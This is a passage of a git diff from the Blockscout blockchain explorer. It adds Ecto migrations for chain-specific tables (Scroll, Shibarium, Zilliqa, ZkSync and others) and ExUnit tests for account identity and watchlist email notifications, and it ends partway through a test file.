000000000000..139136987e6d --- /dev/null +++ b/apps/explorer/priv/scroll/migrations/20240913114630_add_batches_tables.exs @@ -0,0 +1,40 @@ +defmodule Explorer.Repo.Scroll.Migrations.AddBatchesTables do + use Ecto.Migration + + def change do + execute( + "CREATE TYPE scroll_da_containers_types AS ENUM ('in_blob4844', 'in_calldata')", + "DROP TYPE scroll_da_containers_types" + ) + + create table(:scroll_batch_bundles, primary_key: true) do + add(:final_batch_number, :bigint, null: false) + add(:finalize_transaction_hash, :bytea, null: false) + add(:finalize_block_number, :bigint, null: false) + add(:finalize_timestamp, :"timestamp without time zone", null: false) + timestamps(null: false, type: :utc_datetime_usec) + end + + create table(:scroll_batches, primary_key: false) do + add(:number, :bigint, primary_key: true) + add(:commit_transaction_hash, :bytea, null: false) + add(:commit_block_number, :bigint, null: false) + add(:commit_timestamp, :"timestamp without time zone", null: false) + + add( + :bundle_id, + references(:scroll_batch_bundles, on_delete: :restrict, on_update: :update_all, type: :bigint), + null: true, + default: nil + ) + + add(:l2_block_range, :int8range) + add(:container, :scroll_da_containers_types, null: false) + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:scroll_batch_bundles, :finalize_block_number)) + create(index(:scroll_batches, :commit_block_number)) + create(index(:scroll_batches, :l2_block_range)) + end +end diff --git a/apps/explorer/priv/scroll/migrations/20241016105249_rename_fields.exs b/apps/explorer/priv/scroll/migrations/20241016105249_rename_fields.exs new file mode 100644 index 000000000000..304d409c2ec6 --- /dev/null +++ b/apps/explorer/priv/scroll/migrations/20241016105249_rename_fields.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Scroll.Migrations.RenameFields do + use Ecto.Migration + + def change do + rename(table(:scroll_l1_fee_params), :tx_index, to: :transaction_index) + end +end diff --git a/apps/explorer/priv/shibarium/migrations/20231024091228_add_bridge_table.exs b/apps/explorer/priv/shibarium/migrations/20231024091228_add_bridge_table.exs new file mode 100644 index 000000000000..4fb2fe71c99a --- /dev/null +++ b/apps/explorer/priv/shibarium/migrations/20231024091228_add_bridge_table.exs @@ -0,0 +1,34 @@ +defmodule Explorer.Repo.Shibarium.Migrations.AddBridgeTable do + use Ecto.Migration + + def change do + execute( + "CREATE TYPE shibarium_bridge_operation_type AS ENUM ('deposit', 'withdrawal')", + "DROP TYPE shibarium_bridge_operation_type" + ) + + execute( + "CREATE TYPE shibarium_bridge_token_type AS ENUM ('bone', 'eth', 'other')", + "DROP TYPE shibarium_bridge_token_type" + ) + + create table(:shibarium_bridge, primary_key: false) do + add(:user, :bytea, null: false) + add(:amount_or_id, :numeric, precision: 100, null: true) + add(:erc1155_ids, {:array, :numeric}, precision: 78, scale: 0, null: true) + add(:erc1155_amounts, {:array, :decimal}, null: true) + add(:operation_hash, :bytea, primary_key: true) + add(:operation_type, :shibarium_bridge_operation_type, null: false) + add(:l1_transaction_hash, :bytea, primary_key: true) + add(:l1_block_number, :bigint, null: true) + add(:l2_transaction_hash, :bytea, primary_key: true) + add(:l2_block_number, :bigint, null: true) + add(:token_type, :shibarium_bridge_token_type, null: false) + add(:timestamp, :"timestamp without time zone", null: true) + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:shibarium_bridge, [:l1_block_number, :operation_type])) + create(index(:shibarium_bridge, [:l2_block_number, :operation_type])) + end +end diff --git a/apps/explorer/priv/shrunk_internal_transactions/migrations/20240717080512_remove_internal_transactions_constraints.exs b/apps/explorer/priv/shrunk_internal_transactions/migrations/20240717080512_remove_internal_transactions_constraints.exs new file mode 100644 index 000000000000..05a7b5323d06 --- /dev/null +++ b/apps/explorer/priv/shrunk_internal_transactions/migrations/20240717080512_remove_internal_transactions_constraints.exs @@ -0,0 +1,18 @@ +defmodule Explorer.Repo.ShrunkInternalTransactions.Migrations.RemoveInternalTransactionsConstraints do + use Ecto.Migration + + def change do + drop(constraint(:internal_transactions, :call_has_input, check: "type != 'call' OR input IS NOT NULL")) + + drop( + constraint(:internal_transactions, :call_has_error_or_result, + check: """ + type != 'call' OR + (gas IS NOT NULL AND + ((error IS NULL AND gas_used IS NOT NULL AND output IS NOT NULL) OR + (error IS NOT NULL AND output is NULL))) + """ + ) + ) + end +end diff --git a/apps/explorer/priv/stability/migrations/20240203091010_add_stability_validators.exs b/apps/explorer/priv/stability/migrations/20240203091010_add_stability_validators.exs new file mode 100644 index 000000000000..67e5580fef13 --- /dev/null +++ b/apps/explorer/priv/stability/migrations/20240203091010_add_stability_validators.exs @@ -0,0 +1,14 @@ +defmodule Explorer.Repo.Stability.Migrations.AddStabilityValidators do + use Ecto.Migration + + def change do + create table(:validators_stability, primary_key: false) do + add(:address_hash, :bytea, null: false, primary_key: true) + add(:state, :integer, default: 0) + + timestamps() + end + + create_if_not_exists(index(:validators_stability, ["state ASC", "address_hash ASC"])) + end +end diff --git a/apps/explorer/priv/stability/migrations/20250602163043_add_validator_blocks_validated_counter.exs b/apps/explorer/priv/stability/migrations/20250602163043_add_validator_blocks_validated_counter.exs new file mode 100644 index 000000000000..dfbc9406ccce --- /dev/null +++ b/apps/explorer/priv/stability/migrations/20250602163043_add_validator_blocks_validated_counter.exs @@ -0,0 +1,23 @@ +defmodule Explorer.Repo.Stability.Migrations.AddValidatorBlocksValidatedCounter do + use Ecto.Migration + + def change do + alter table(:validators_stability) do + add(:blocks_validated, :integer, null: true) + end + + execute(""" + UPDATE validators_stability v + SET blocks_validated = COALESCE( + (SELECT COUNT(*) + FROM blocks b + WHERE b.miner_hash = v.address_hash), + 0 + ); + """) + + alter table(:validators_stability) do + modify(:blocks_validated, :integer, null: false) + end + end +end diff --git a/apps/explorer/priv/suave/migrations/20230921120210_add_suave_transaction_fields.exs b/apps/explorer/priv/suave/migrations/20230921120210_add_suave_transaction_fields.exs new file mode 100644 index 000000000000..2476d0b42fab --- /dev/null +++ b/apps/explorer/priv/suave/migrations/20230921120210_add_suave_transaction_fields.exs @@ -0,0 +1,24 @@ +defmodule Explorer.Repo.Suave.Migrations.AddSuaveTransactionFields do + use Ecto.Migration + + def change do + alter table(:transactions) do + add(:execution_node_hash, :bytea, null: true) + add(:wrapped_type, :integer, null: true) + add(:wrapped_nonce, :integer, null: true) + add(:wrapped_to_address_hash, :bytea, null: true) + add(:wrapped_gas, :numeric, precision: 100, null: true) + add(:wrapped_gas_price, :numeric, precision: 100, null: true) + add(:wrapped_max_priority_fee_per_gas, :numeric, precision: 100, null: true) + add(:wrapped_max_fee_per_gas, :numeric, precision: 100, null: true) + add(:wrapped_value, :numeric, precision: 100, null: true) + add(:wrapped_input, :bytea, null: true) + add(:wrapped_v, :numeric, precision: 100, null: true) + add(:wrapped_r, :numeric, precision: 100, null: true) + add(:wrapped_s, :numeric, precision: 100, null: true) + add(:wrapped_hash, :bytea, null: true) + end + + create(index(:transactions, :execution_node_hash)) + end +end diff --git a/apps/explorer/priv/zilliqa/migrations/20240927123039_create_quorum_certificate.exs b/apps/explorer/priv/zilliqa/migrations/20240927123039_create_quorum_certificate.exs new file mode 100644 index 000000000000..f3156cae9bdb --- /dev/null +++ b/apps/explorer/priv/zilliqa/migrations/20240927123039_create_quorum_certificate.exs @@ -0,0 +1,20 @@ +defmodule Explorer.Repo.Zilliqa.Migrations.CreateQuorumCertificate do + use Ecto.Migration + + def change do + create table(:zilliqa_quorum_certificates, primary_key: false) do + add( + :block_hash, + references(:blocks, column: :hash, type: :bytea, on_delete: :delete_all), + null: false, + primary_key: true + ) + + add(:view, :integer, null: false) + add(:signature, :binary, null: false) + add(:signers, {:array, :smallint}, null: false) + + timestamps() + end + end +end diff --git a/apps/explorer/priv/zilliqa/migrations/20240927123101_create_aggregate_quorum_certificate.exs b/apps/explorer/priv/zilliqa/migrations/20240927123101_create_aggregate_quorum_certificate.exs new file mode 100644 index 000000000000..dd21c9cff3de --- /dev/null +++ b/apps/explorer/priv/zilliqa/migrations/20240927123101_create_aggregate_quorum_certificate.exs @@ -0,0 +1,19 @@ +defmodule Explorer.Repo.Zilliqa.Migrations.CreateAggregateQuorumCertificate do + use Ecto.Migration + + def change do + create table(:zilliqa_aggregate_quorum_certificates, primary_key: false) do + add( + :block_hash, + references(:blocks, column: :hash, type: :bytea, on_delete: :delete_all), + null: false, + primary_key: true + ) + + add(:view, :integer, null: false) + add(:signature, :binary, null: false) + + timestamps() + end + end +end diff --git a/apps/explorer/priv/zilliqa/migrations/20240927123113_create_nested_quorum_certificate.exs b/apps/explorer/priv/zilliqa/migrations/20240927123113_create_nested_quorum_certificate.exs new file mode 100644 index 000000000000..01bd2c042238 --- /dev/null +++ b/apps/explorer/priv/zilliqa/migrations/20240927123113_create_nested_quorum_certificate.exs @@ -0,0 +1,21 @@ +defmodule Explorer.Repo.Zilliqa.Migrations.CreateNestedQuorumCertificate do + use Ecto.Migration + + def change do + create table(:zilliqa_nested_quorum_certificates, primary_key: false) do + add( + :block_hash, + references(:blocks, column: :hash, type: :bytea, on_delete: :delete_all), + null: false, + primary_key: true + ) + + add(:proposed_by_validator_index, :smallint, primary_key: true) + add(:view, :integer, null: false) + add(:signature, :binary, null: false) + add(:signers, {:array, :smallint}, null: false) + + timestamps() + end + end +end diff --git a/apps/explorer/priv/zilliqa/migrations/20241015095021_add_view_to_block.exs b/apps/explorer/priv/zilliqa/migrations/20241015095021_add_view_to_block.exs new file mode 100644 index 000000000000..d988964daf89 --- /dev/null +++ b/apps/explorer/priv/zilliqa/migrations/20241015095021_add_view_to_block.exs @@ -0,0 +1,9 @@ +defmodule Explorer.Repo.Zilliqa.Migrations.AddViewToBlock do + use Ecto.Migration + + def change do + alter table(:blocks) do + add(:zilliqa_view, :integer) + end + end +end diff --git a/apps/explorer/priv/zilliqa/migrations/20241027171945_modify_smart_contracts.exs b/apps/explorer/priv/zilliqa/migrations/20241027171945_modify_smart_contracts.exs new file mode 100644 index 000000000000..f181216a48f6 --- /dev/null +++ b/apps/explorer/priv/zilliqa/migrations/20241027171945_modify_smart_contracts.exs @@ -0,0 +1,17 @@ +defmodule Explorer.Repo.Zilliqa.Migrations.ModifySmartContracts do + use Ecto.Migration + + def up do + alter table(:smart_contracts) do + modify(:name, :string, null: true) + modify(:compiler_version, :string, null: true) + end + end + + def down do + alter table(:smart_contracts) do + modify(:name, :string, null: false) + modify(:compiler_version, :string, null: false) + end + end +end diff --git a/apps/explorer/priv/zilliqa/migrations/20250106185108_create_zilliqa_stakers.exs b/apps/explorer/priv/zilliqa/migrations/20250106185108_create_zilliqa_stakers.exs new file mode 100644 index 000000000000..acd40cd7e6c5 --- /dev/null +++ b/apps/explorer/priv/zilliqa/migrations/20250106185108_create_zilliqa_stakers.exs @@ -0,0 +1,19 @@ +defmodule Explorer.Repo.Zilliqa.Migrations.CreateZilliqaStakers do + use Ecto.Migration + + def change do + create table(:zilliqa_stakers, primary_key: false) do + add(:id, :string, primary_key: true) + add(:index, :integer) + add(:balance, :decimal, null: false) + add(:peer_id, :bytea) + add(:control_address_hash, :bytea) + add(:reward_address_hash, :bytea) + add(:signing_address_hash, :bytea) + + add(:added_at_block_number, :integer, null: false) + add(:stake_updated_at_block_number, :integer, null: false) + timestamps() + end + end +end diff --git a/apps/explorer/priv/zilliqa/migrations/20250303201406_decrease_scilla_language_index_by_one.exs b/apps/explorer/priv/zilliqa/migrations/20250303201406_decrease_scilla_language_index_by_one.exs new file mode 100644 index 000000000000..bc7d4cb8742a --- /dev/null +++ b/apps/explorer/priv/zilliqa/migrations/20250303201406_decrease_scilla_language_index_by_one.exs @@ -0,0 +1,36 @@ +defmodule Explorer.Repo.Zilliqa.Migrations.DecreaseScillaLanguageIndexByOne do + @moduledoc """ + Migration to update the language identifier for Scilla smart contracts in Zilliqa. + + ## Background + + This migration adjusts the language enumeration used for Zilliqa smart contracts. + + Previously, the language enum for smart contracts included: + - 1: solidity + - 2: vyper + - 3: yul + - 4: stylus_rust + - 5: scilla + + ## Changes + + As part of chain-specific language enumeration refinement: + - `stylus_rust` is now exclusively under the Arbitrum chain type + - For Zilliqa, we now have: 1: solidity, 2: vyper, 3: yul, 4: scilla + + This migration updates all Scilla smart contracts (previously with language=5) + to use the new language identifier (4), accounting for the removal of stylus_rust + from the Zilliqa chain type language enumeration. + """ + use Ecto.Migration + + def change do + execute( + # Up - change language from 5 to 4 + "UPDATE smart_contracts SET language = 4 WHERE language = 5", + # Down - change language from 3 back to 4 + "UPDATE smart_contracts SET language = 5 WHERE language = 4" + ) + end +end diff --git a/apps/explorer/priv/zk_sync/migrations/20211202082101_make_tranaction_r_s_v_optional.exs b/apps/explorer/priv/zk_sync/migrations/20211202082101_make_tranaction_r_s_v_optional.exs new file mode 100644 index 000000000000..7bf465fb5bda --- /dev/null +++ b/apps/explorer/priv/zk_sync/migrations/20211202082101_make_tranaction_r_s_v_optional.exs @@ -0,0 +1,17 @@ +defmodule Explorer.Repo.ZkSync.Migrations.MakeTransactionRSVOptional do + use Ecto.Migration + + def change do + alter table(:transactions) do + modify(:r, :numeric, precision: 100, null: true) + end + + alter table(:transactions) do + modify(:s, :numeric, precision: 100, null: true) + end + + alter table(:transactions) do + modify(:v, :numeric, precision: 100, null: true) + end + end +end diff --git a/apps/explorer/priv/zk_sync/migrations/20231213171043_create_zksync_tables.exs b/apps/explorer/priv/zk_sync/migrations/20231213171043_create_zksync_tables.exs new file mode 100644 index 000000000000..1e7d02c1d7c0 --- /dev/null +++ b/apps/explorer/priv/zk_sync/migrations/20231213171043_create_zksync_tables.exs @@ -0,0 +1,82 @@ +defmodule Explorer.Repo.ZkSync.Migrations.CreateZkSyncTables do + use Ecto.Migration + + def change do + create table(:zksync_lifecycle_l1_transactions, primary_key: false) do + add(:id, :integer, null: false, primary_key: true) + add(:hash, :bytea, null: false) + add(:timestamp, :"timestamp without time zone", null: false) + timestamps(null: false, type: :utc_datetime_usec) + end + + create(unique_index(:zksync_lifecycle_l1_transactions, :hash)) + + create table(:zksync_transaction_batches, primary_key: false) do + add(:number, :integer, null: false, primary_key: true) + add(:timestamp, :"timestamp without time zone", null: false) + add(:l1_tx_count, :integer, null: false) + add(:l2_tx_count, :integer, null: false) + add(:root_hash, :bytea, null: false) + add(:l1_gas_price, :numeric, precision: 100, null: false) + add(:l2_fair_gas_price, :numeric, precision: 100, null: false) + add(:start_block, :integer, null: false) + add(:end_block, :integer, null: false) + + add( + :commit_id, + references(:zksync_lifecycle_l1_transactions, on_delete: :restrict, on_update: :update_all, type: :integer), + null: true + ) + + add( + :prove_id, + references(:zksync_lifecycle_l1_transactions, on_delete: :restrict, on_update: :update_all, type: :integer), + null: true + ) + + add( + :execute_id, + references(:zksync_lifecycle_l1_transactions, on_delete: :restrict, on_update: :update_all, type: :integer), + null: true + ) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create table(:zksync_batch_l2_transactions, primary_key: false) do + add( + :batch_number, + references(:zksync_transaction_batches, + column: :number, + on_delete: :delete_all, + on_update: :update_all, + type: :integer + ), + null: false + ) + + add(:hash, :bytea, null: false, primary_key: true) + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:zksync_batch_l2_transactions, :batch_number)) + + create table(:zksync_batch_l2_blocks, primary_key: false) do + add( + :batch_number, + references(:zksync_transaction_batches, + column: :number, + on_delete: :delete_all, + on_update: :update_all, + type: :integer + ), + null: false + ) + + add(:hash, :bytea, null: false, primary_key: true) + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:zksync_batch_l2_blocks, :batch_number)) + end +end diff --git a/apps/explorer/priv/zk_sync/migrations/20240611091814_rename_field_in_batch_transactions.exs b/apps/explorer/priv/zk_sync/migrations/20240611091814_rename_field_in_batch_transactions.exs new file mode 100644 index 000000000000..185a07079db0 --- /dev/null +++ b/apps/explorer/priv/zk_sync/migrations/20240611091814_rename_field_in_batch_transactions.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.ZkSync.Migrations.RenameFieldInBatchTransactions do + use Ecto.Migration + + def change do + rename(table(:zksync_batch_l2_transactions), :hash, to: :tx_hash) + end +end diff --git a/apps/explorer/priv/zk_sync/migrations/20240716095237_add_zk_compiler_version_to_smart_contracts.exs b/apps/explorer/priv/zk_sync/migrations/20240716095237_add_zk_compiler_version_to_smart_contracts.exs new file mode 100644 index 000000000000..dd1202656f33 --- /dev/null +++ b/apps/explorer/priv/zk_sync/migrations/20240716095237_add_zk_compiler_version_to_smart_contracts.exs @@ -0,0 +1,10 @@ +defmodule Explorer.Repo.ZkSync.Migrations.AddZkCompilerVersionToSmartContracts do + use Ecto.Migration + + def change do + alter table(:smart_contracts) do + add(:zk_compiler_version, :string, null: true) + modify(:optimization_runs, :string, null: true) + end + end +end diff --git a/apps/explorer/priv/zk_sync/migrations/20241015093336_rename_tx_hash_field_zksync.exs b/apps/explorer/priv/zk_sync/migrations/20241015093336_rename_tx_hash_field_zksync.exs new file mode 100644 index 000000000000..e62c62816547 --- /dev/null +++ b/apps/explorer/priv/zk_sync/migrations/20241015093336_rename_tx_hash_field_zksync.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.ZkSync.Migrations.RenameTxHashFieldArbitrum do + use Ecto.Migration + + def change do + rename(table(:zksync_batch_l2_transactions), :tx_hash, to: :transaction_hash) + end +end diff --git a/apps/explorer/priv/zk_sync/migrations/20241028102407_rename_tx_count_fields_zksync.exs b/apps/explorer/priv/zk_sync/migrations/20241028102407_rename_tx_count_fields_zksync.exs new file mode 100644 index 000000000000..dd89c64fce22 --- /dev/null +++ b/apps/explorer/priv/zk_sync/migrations/20241028102407_rename_tx_count_fields_zksync.exs @@ -0,0 +1,8 @@ +defmodule Explorer.Repo.ZkSync.Migrations.RenameTxCountFieldsZksync do + use Ecto.Migration + + def change do + rename(table(:zksync_transaction_batches), :l1_tx_count, to: :l1_transaction_count) + rename(table(:zksync_transaction_batches), :l2_tx_count, to: :l2_transaction_count) + end +end diff --git a/apps/explorer/priv/zk_sync/migrations/20241028102853_add_contract_code_refetched.exs b/apps/explorer/priv/zk_sync/migrations/20241028102853_add_contract_code_refetched.exs new file mode 100644 index 000000000000..7f24a305d115 --- /dev/null +++ b/apps/explorer/priv/zk_sync/migrations/20241028102853_add_contract_code_refetched.exs @@ -0,0 +1,13 @@ +defmodule Explorer.Repo.ZkSync.Migrations.AddContractCodeRefetched do + use Ecto.Migration + + def change do + alter table(:addresses) do + add(:contract_code_refetched, :boolean, default: false) + end + + execute(""" + ALTER TABLE addresses ALTER COLUMN contract_code_refetched SET DEFAULT true; + """) + end +end diff --git a/apps/explorer/test/explorer/account/identity_test.exs b/apps/explorer/test/explorer/account/identity_test.exs new file mode 100644 index 000000000000..1acde2e96607 --- /dev/null +++ b/apps/explorer/test/explorer/account/identity_test.exs @@ -0,0 +1,103 @@ +defmodule Explorer.Account.IdentityTest do + use Explorer.DataCase + + alias Explorer.Account.{Identity, Watchlist} + alias Explorer.Repo + alias Ueberauth.Auth + alias Ueberauth.Auth.Info + alias Ueberauth.Strategy.Auth0 + + describe "get user info" do + test "from github" do + auth = %Auth{ + info: %Info{ + birthday: nil, + description: nil, + email: "john@blockscout.com", + first_name: nil, + image: "https://avatars.githubusercontent.com/u/666666=4", + last_name: nil, + location: nil, + name: "John Snow", + nickname: "johnnny", + phone: nil, + urls: %{profile: nil, website: nil} + }, + provider: :auth0, + strategy: Auth0, + uid: "github|666666" + } + + user_data = Identity.find_or_create(auth) + + %{ + id: identity_id, + email: "john@blockscout.com", + uid: "github|666666" + } = Identity |> first |> Repo.account_repo().one() + + %{ + id: watchlist_id, + identity_id: ^identity_id, + name: "default" + } = Watchlist |> first |> Repo.account_repo().one() + + assert {:ok, + %{ + avatar: "https://avatars.githubusercontent.com/u/666666=4", + email: "john@blockscout.com", + id: ^identity_id, + name: "John Snow", + nickname: "johnnny", + uid: "github|666666", + watchlist_id: ^watchlist_id + }} = user_data + end + + test "from google" do + auth = %Auth{ + info: %Info{ + birthday: nil, + description: nil, + email: "john@blockscout.com", + first_name: "John", + image: "https://lh3.googleusercontent.com/a/xxx666-yyy777=s99-c", + last_name: "Snow", + location: nil, + name: "John Snow", + nickname: "johnnny", + phone: nil, + urls: %{profile: nil, website: nil} + }, + provider: :auth0, + strategy: Auth0, + uid: "google-oauth2|666666" + } + + user_data = Identity.find_or_create(auth) + + %{ + id: identity_id, + email: "john@blockscout.com", + uid: "google-oauth2|666666" + } = Identity |> first |> Repo.account_repo().one() + + %{ + id: watchlist_id, + identity_id: ^identity_id, + name: "default" + } = Watchlist |> first |> Repo.account_repo().one() + + assert {:ok, + %{ + avatar: "https://lh3.googleusercontent.com/a/xxx666-yyy777=s99-c", + email: "john@blockscout.com", + id: ^identity_id, + name: "John Snow", + nickname: "johnnny", + uid: "google-oauth2|666666", + watchlist_id: ^watchlist_id + }} = user_data + end + end +end diff --git a/apps/explorer/test/explorer/account/notifier/email_test.exs b/apps/explorer/test/explorer/account/notifier/email_test.exs new file mode 100644 index 000000000000..6541474eb8bd --- /dev/null +++ b/apps/explorer/test/explorer/account/notifier/email_test.exs @@ -0,0 +1,138 @@ +defmodule Explorer.Account.Notifier.EmailTest do + use ExUnit.Case + + alias Explorer.Account.{ + Identity, + Watchlist, + WatchlistAddress, + WatchlistNotification + } + + import Explorer.Chain, + only: [ + string_to_address_hash: 1, + string_to_full_hash: 1 + ] + + import Explorer.Account.Notifier.Email, + only: [compose: 2] + + setup do + host = Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url][:host] + path = Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url][:path] + scheme = Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url][:scheme] + old_chain_id = Application.get_env(:block_scout_web, :chain_id) + + Application.put_env(:block_scout_web, BlockScoutWeb.Endpoint, + url: [scheme: "https", host: "eth.blockscout.com", path: "/", port: 443] + ) + + Application.put_env(:explorer, Explorer.Account, + sendgrid: [ + sender: "noreply@blockscout.com", + template: "d-666" + ] + ) + + Application.put_env(:block_scout_web, :chain_id, "30") + + on_exit(fn -> + Application.put_env(:block_scout_web, BlockScoutWeb.Endpoint, url: [scheme: scheme, host: host, path: path]) + Application.put_env(:block_scout_web, :chain_id, old_chain_id) + end) + end + + describe "composing email" do + test "compose_email" do + {:ok, transaction_hash} = + string_to_full_hash("0x5d5ff210261f1b2d6e4af22ea494f428f9997d4ab614a629d4f1390004b3e80d") + + {:ok, from_hash} = string_to_address_hash("0x092D537737E767Dae48c28aE509f34094496f030") + + {:ok, to_hash} = string_to_address_hash("0x3078dd38f00B0D8D4d2b4B5010bE53F2A0b934E5") + + identity = %Identity{ + uid: "foo|bar", + name: "John Snow", + email: "john@blockscout.com" + } + + watchlist = %Watchlist{identity: identity} + + watchlist_address = %WatchlistAddress{ + name: "wallet", + watchlist: watchlist, + address_hash: to_hash, + watch_coin_input: true, + watch_coin_output: true, + notify_email: true + } + + watchlist_notification = %WatchlistNotification{ + watchlist_address: watchlist_address, + transaction_hash: transaction_hash, + from_address_hash: from_hash, + to_address_hash: to_hash, + direction: "incoming", + method: "transfer", + block_number: 24_121_177, + amount: Decimal.new(1), + transaction_fee: Decimal.new(210_000), + name: "wallet", + type: "COIN" + } + + assert compose(watchlist_notification, watchlist_address) == + %Bamboo.Email{ + assigns: %{}, + attachments: [], + bcc: nil, + blocked: false, + cc: nil, + from: "noreply@blockscout.com", + headers: %{}, + html_body: nil, + private: %{ + send_grid_template: %{ + dynamic_template_data: %{ + "address_hash" => + if(Application.get_env(:explorer, :chain_type) == :rsk, + do: "0x3078dd38F00B0d8D4D2B4b5010bE53F2A0b934E5", + else: "0x3078DD38f00B0d8D4D2B4B5010be53F2a0B934e5" + ), + "address_name" => "wallet", + "address_url" => "https://eth.blockscout.com/address/0x3078dd38f00b0d8d4d2b4b5010be53f2a0b934e5", + "amount" => Decimal.new(1), + "block_number" => 24_121_177, + "block_url" => "https://eth.blockscout.com/block/24121177", + "direction" => "received at", + "from_address_hash" => + if(Application.get_env(:explorer, :chain_type) == :rsk, + do: "0x092D537737e767dAE48C28aE509F34094496F030", + else: "0x092D537737E767Dae48c28aE509f34094496f030" + ), + "from_url" => "https://eth.blockscout.com/address/0x092d537737e767dae48c28ae509f34094496f030", + "method" => "transfer", + "name" => "wallet", + "to_address_hash" => + if(Application.get_env(:explorer, :chain_type) == :rsk, + do: "0x3078dd38F00B0d8D4D2B4b5010bE53F2A0b934E5", + else: "0x3078DD38f00B0d8D4D2B4B5010be53F2a0B934e5" + ), + "to_url" => "https://eth.blockscout.com/address/0x3078dd38f00b0d8d4d2b4b5010be53f2a0b934e5", + "transaction_hash" => "0x5d5ff210261f1b2d6e4af22ea494f428f9997d4ab614a629d4f1390004b3e80d", + "transaction_url" => + "https://eth.blockscout.com/tx/0x5d5ff210261f1b2d6e4af22ea494f428f9997d4ab614a629d4f1390004b3e80d", + "transaction_fee" => Decimal.new(210_000), + "username" => "John Snow" + }, + template_id: "d-666" + } + }, + subject: nil, + text_body: nil, + to: "john@blockscout.com" + } + end + end +end diff --git a/apps/explorer/test/explorer/account/notifier/notify_test.exs b/apps/explorer/test/explorer/account/notifier/notify_test.exs new file mode 100644 index 000000000000..5968c16dace5 --- /dev/null +++ b/apps/explorer/test/explorer/account/notifier/notify_test.exs @@ -0,0 +1,174 @@ +defmodule Explorer.Account.Notifier.NotifyTest do + # use ExUnit.Case + use Explorer.DataCase + + import Explorer.Factory + + alias Explorer.Account.Notifier.Notify + alias Explorer.Account.{WatchlistAddress, WatchlistNotification} + alias Explorer.Chain + alias Explorer.Chain.{Transaction, Wei} + alias Explorer.Repo + + setup do + Application.put_env(:explorer, Explorer.Account, + sendgrid: [ + sender: "noreply@blockscout.com", + template: "d-666" + ] + ) + + Application.put_env(:explorer, Explorer.Mailer, + adapter: Bamboo.SendGridAdapter, + api_key: "SENDGRID_API_KEY" + ) + + Application.put_env( + :ueberauth, + Ueberauth, + providers: [ + auth0: { + Ueberauth.Strategy.Auth0, + [callback_url: "callback.url"] + } + ], + logout_url: "logout.url" + ) + end + + describe "notify" do + test "when address not in any watchlist" do + transaction = with_block(insert(:transaction)) + + notify = Notify.call([transaction]) + + wn = + WatchlistNotification + |> first + |> Repo.account_repo().one() + + assert notify == [[:ok]] + + assert wn == nil + end + + test "when address appears in watchlist" do + wa = + %WatchlistAddress{address_hash: address_hash} = + build(:account_watchlist_address, watch_coin_input: true) + |> Repo.account_repo().insert!() + + _watchlist_address = Repo.preload(wa, watchlist: :identity) + + transaction = + %Transaction{ + from_address: _from_address, + to_address: _to_address, + block_number: _block_number, + hash: _transaction_hash + } = with_block(insert(:transaction, to_address: %Chain.Address{hash: address_hash})) + + {_, fee} = Transaction.fee(transaction, :gwei) + amount = Wei.to(transaction.value, :ether) + notify = Notify.call([transaction]) + + wn = + WatchlistNotification + |> first + |> Repo.account_repo().one() + + assert notify == [[:ok]] + + assert wn.amount == amount + assert wn.direction == "incoming" + assert wn.method == "transfer" + assert wn.subject == "Coin transaction" + assert wn.transaction_fee == fee + assert wn.type == "COIN" + end + + test "ignore new notification when limit is reached" do + old_envs = Application.get_env(:explorer, Explorer.Account) + + Application.put_env(:explorer, Explorer.Account, Keyword.put(old_envs, :notifications_limit_for_30_days, 1)) + + wa = + %WatchlistAddress{address_hash: address_hash} = + build(:account_watchlist_address, watch_coin_input: true) + |> Repo.account_repo().insert!() + + _watchlist_address = Repo.preload(wa, watchlist: :identity) + + transaction = + %Transaction{ + from_address: _from_address, + to_address: _to_address, + block_number: _block_number, + hash: _transaction_hash + } = with_block(insert(:transaction, to_address: %Chain.Address{hash: address_hash})) + + {_, fee} = Transaction.fee(transaction, :gwei) + amount = Wei.to(transaction.value, :ether) + notify = Notify.call([transaction]) + + wn = + WatchlistNotification + |> first + |> Repo.account_repo().one() + + assert notify == [[:ok]] + + assert wn.amount == amount + assert wn.direction == "incoming" + assert wn.method == "transfer" + assert wn.subject == "Coin transaction" + assert wn.transaction_fee == fee + assert wn.type == "COIN" + address = Repo.get(Chain.Address, address_hash) + + transaction = + %Transaction{ + from_address: _from_address, + to_address: _to_address, + block_number: _block_number, + hash: _transaction_hash + } = with_block(insert(:transaction, to_address: address)) + + Notify.call([transaction]) + + WatchlistNotification + |> first + |> Repo.account_repo().one!() + + Application.put_env(:explorer, Explorer.Account, old_envs) + end + + test "ignore events older than 24 hrs" do + wa = + %WatchlistAddress{address_hash: address_hash} = + build(:account_watchlist_address, watch_coin_input: true) + |> Repo.account_repo().insert!() + + _watchlist_address = Repo.preload(wa, watchlist: :identity) + + transaction = + %Transaction{ + from_address: _from_address, + to_address: _to_address, + block_number: _block_number, + hash: _transaction_hash + } = + with_block( + insert(:transaction, to_address: %Chain.Address{hash: address_hash}), + insert(:block, timestamp: DateTime.add(DateTime.utc_now(), -25, :hour)) + ) + + notify = Notify.call([transaction]) + + assert WatchlistNotification + |> Repo.account_repo().all() == [] + + assert notify == [nil] + end + end +end diff --git a/apps/explorer/test/explorer/account/notifier/summary_test.exs b/apps/explorer/test/explorer/account/notifier/summary_test.exs new file mode 100644 index 000000000000..c39b728d3efc --- /dev/null +++ b/apps/explorer/test/explorer/account/notifier/summary_test.exs @@ -0,0 +1,451 @@ +defmodule Explorer.Account.Notifier.SummaryTest do + use Explorer.DataCase + + import Explorer.Factory + + alias Explorer.Account.Notifier.Summary + alias Explorer.Chain.{TokenTransfer, Transaction, Wei} + alias Explorer.Repo + + describe "call" do + test "Coin transaction" do + transaction = + %Transaction{ + from_address: from_address, + to_address: to_address, + block_number: block_number, + hash: transaction_hash + } = with_block(insert(:transaction)) + + {_, fee} = Transaction.fee(transaction, :gwei) + amount = Wei.to(transaction.value, :ether) + + assert Summary.process(transaction) == [ + %Summary{ + amount: amount, + block_number: block_number, + from_address_hash: from_address.hash, + method: "transfer", + name: "ETH", + subject: "Coin 